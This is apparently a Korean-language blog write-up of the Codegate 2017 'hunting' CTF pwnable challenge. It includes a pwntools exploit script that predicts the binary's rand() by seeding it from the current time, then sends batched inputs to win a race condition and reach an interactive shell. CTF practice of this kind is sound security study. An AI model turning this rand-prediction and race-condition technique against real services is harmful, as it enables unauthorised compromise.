-
Codegate 2017 huntingPwnable/CTF 2018. 1. 17. 18:26
레이스컨디션 관련 문제를 찾다가 찾은 문제다.
시간이 조금 오래 걸렷는데 attack에서 1 2 3 만드는것을 그냥 rand % 4값으로 넣는걸로 잘못봐가지고 그걸로 실수를 하였고, sleep부분이 1초밖에 안 되서 p.recvuntil이런걸로 하나하나 받고 입력하고하니깐 1초안에 잘 못들어가는거에서 바로 send 2\n3\n하는 방식을 생각을 못해서 오래걸린것같다..
1초안에 안들어가는것같은데 어떻게하지 생각을 하다가 결국 풀이를 보고 send로 바로 보내는방법이 있다는것을 알았다.
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051from pwn import *from ctypes import *libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')p = process("./hunting")libc.srand(int(libc.time(0)))def choice(rand):if rand==1:return 3elif rand==2:return 2else:return 1def use():print p.recvuntil('Exit')p.send('2'+'\n')libc.rand() % 1000print p.recvuntil('hp is ')check = p.recv(2048)v1 = int(libc.rand())v9 = v1 % 4v2 = v1 % 4p.sendline(str(choice(v2)))print checkreturn checkdef change(skill):p.sendlineafter('Exit','3')p.sendlineafter(':',str(skill))def remove():p.sendlineafter('Exit','4')change(3)while(True):if "level:4" in use():breakremove()sleep(1)p.send("3\n2\n2\n1\n")p.send("3\n7\n2\n1\n")sleep(1)p.send("3\n2\n2\n2\n")p.send("3\n7\n2\n1\n")p.interactive()cs 'Pwnable > CTF' 카테고리의 다른 글
Christmas CTF 2017 BitcoinGallery (0) 2018.01.18 Codeblue 2017 simple memo pad (0) 2018.01.17 WITHCON 2017 bank (0) 2018.01.15 WITHCON 2017 combination (0) 2018.01.12 SECCON 2017 video_player (0) 2018.01.11